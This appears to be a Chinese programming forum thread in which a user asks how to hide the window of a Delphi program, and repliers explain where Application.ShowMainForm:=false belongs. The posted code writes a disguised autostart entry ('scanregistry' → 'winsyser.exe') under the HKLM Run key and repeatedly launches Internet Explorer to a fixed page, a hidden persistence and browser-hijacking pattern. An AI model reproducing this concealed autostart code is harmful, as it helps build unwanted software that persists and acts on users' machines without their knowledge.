我有一段delphi代码 现在想把里边的窗口改为隐藏 请专家帮我解答 !
代码是:
unit Unit1;interfaceuses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,registry, ExtCtrls, shellapi;type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Label1: TLabel;
    Label2: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;var
  Form1: TForm1;
  reg:tregistry;
  hwnd:thandle;implementation{$R *.dfm}procedure TForm1.FormCreate(Sender: TObject);
begin
//application.showmainform=false  代码说是隐藏 可是还是隐藏不了??? 就这里 希望高手指点!!!谢谢!! 
reg:=Tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.writestring('scanregistry','winsyser.exe');
reg.closekey;
reg.free;
end;procedure TForm1.Timer1Timer(Sender: TObject);
begin
hwnd:=findwindow('IEframe',nil);
if hwnd<>0 then
shellexecute(0,'open','iexplore.exe','http://www.baidu.com,'',SW_SHOWNORMAL);
end;end.

解决方案 »

  1.   

    procedure TForm1.Timer1Timer(Sender: TObject); 
    begin 
    hwnd:=findwindow('IEframe',nil); 
    if hwnd <>0 then 
    shellexecute(0,'open','iexplore.exe','http://www.baidu.com','',SW_SHOWNORMAL); 
    end; 
    你的代码有问题,这将不停的打开IE,直到系统崩溃
      

  2.   

    program Project1;uses
      Forms,
      Unit1 in 'Unit1.pas' {Form1};{$R *.res}begin
      Application.Initialize;
      Application.CreateForm(TForm1, Form1);
      application.ShowMainForm:=false;
      Application.Run;
    end.
      

  3.   

    application.showmainform=false
    这句要写在工程文件里的(.dpr)
      

  4.   

    刚才有事出去了
    工程文件Project1.dpr代码如下:
    program Project1;uses
      Forms,
      Unit1 in 'Unit1.pas' {Form1};{$R *.res}begin
      Application.Initialize;
      Application.CreateForm(TForm1, Form1);
      application.showmainform:=false;
      Application.Run;
    end.
      

  5.   

    哦 谢谢! 
    那是不是这样啊
    unit Unit1; interface uses 
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
      Dialogs, StdCtrls,registry, ExtCtrls, shellapi; type 
      TForm1 = class(TForm) 
        Timer1: TTimer; 
        Label1: TLabel; 
        Label2: TLabel; 
        procedure FormCreate(Sender: TObject); 
        procedure Timer1Timer(Sender: TObject); 
      private 
        { Private declarations } 
      public 
        { Public declarations } 
      end; var 
      Form1: TForm1; 
      reg:tregistry; 
      hwnd:thandle; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); 
    begin
    Application.Initialize; 
    Application.CreateForm(TForm1, Form1); 
    application.showmainform:=false;        <------这里改成这样?
    reg:=Tregistry.create; 
    reg.rootkey:=HKEY_LOCAL_MACHINE; 
    reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true); 
    reg.writestring('scanregistry','winsyser.exe'); 
    reg.closekey; 
    reg.free; 
    end; procedure TForm1.Timer1Timer(Sender: TObject); 
    begin 
    hwnd:=findwindow('IEframe',nil); 
    if hwnd <>0 then 
    shellexecute(0,'open','iexplore.exe','http://www.baidu.com,'',SW_SHOWNORMAL); 
    end; end.